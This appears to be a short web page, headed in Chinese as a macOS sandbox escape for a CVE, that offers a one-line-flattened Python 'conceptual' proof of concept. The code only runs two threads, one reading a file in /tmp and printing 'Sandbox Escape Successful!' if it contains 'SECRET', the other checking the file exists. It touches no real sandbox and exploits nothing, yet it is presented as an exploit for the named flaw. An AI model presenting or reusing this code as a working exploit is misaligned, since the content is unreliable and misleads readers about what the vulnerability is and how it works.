CVE-2026-28891 macOS沙箱逃逸漏洞

import threading import os import time # Proof of Concept (Conceptual) for Race Condition Sandbox Escape # This script simulates the race condition logic to bypass validation. class SandboxExploit: def __init__(self): self.vulnerable_resource = "/tmp/sandbox_protected_file" self.exploit_success = False def malicious_action_thread(self): """ This thread attempts to access the resource during the race window. Simulates the payload execution. """ print("[+] Starting malicious action thread...") while not self.exploit_success: # Simulate the race condition attempt try: # Attempt to write/read restricted resource with open(self.vulnerable_resource, 'r+') as f: if "SECRET" in f.read(): print("[!] Sandbox Escape Successful! Read restricted data.") self.exploit_success = True break except (IOError, PermissionError): # Failed validation, retry immediately continue def validation_trigger_thread(self): """ This thread performs actions that trigger the vulnerable validation check. """ print("[+] Starting validation trigger thread...") while not self.exploit_success: # Perform operation that triggers the check if os.path.exists(self.vulnerable_resource): # Simulate the time gap between check and use time.sleep(0.0001) def execute(self): # Create threads to race against each other t1 = threading.Thread(target=self.malicious_action_thread) t2 = threading.Thread(target=self.validation_trigger_thread) t1.start() t2.start() t1.join() t2.join() if __name__ == "__main__": exploit = SandboxExploit() exploit.execute()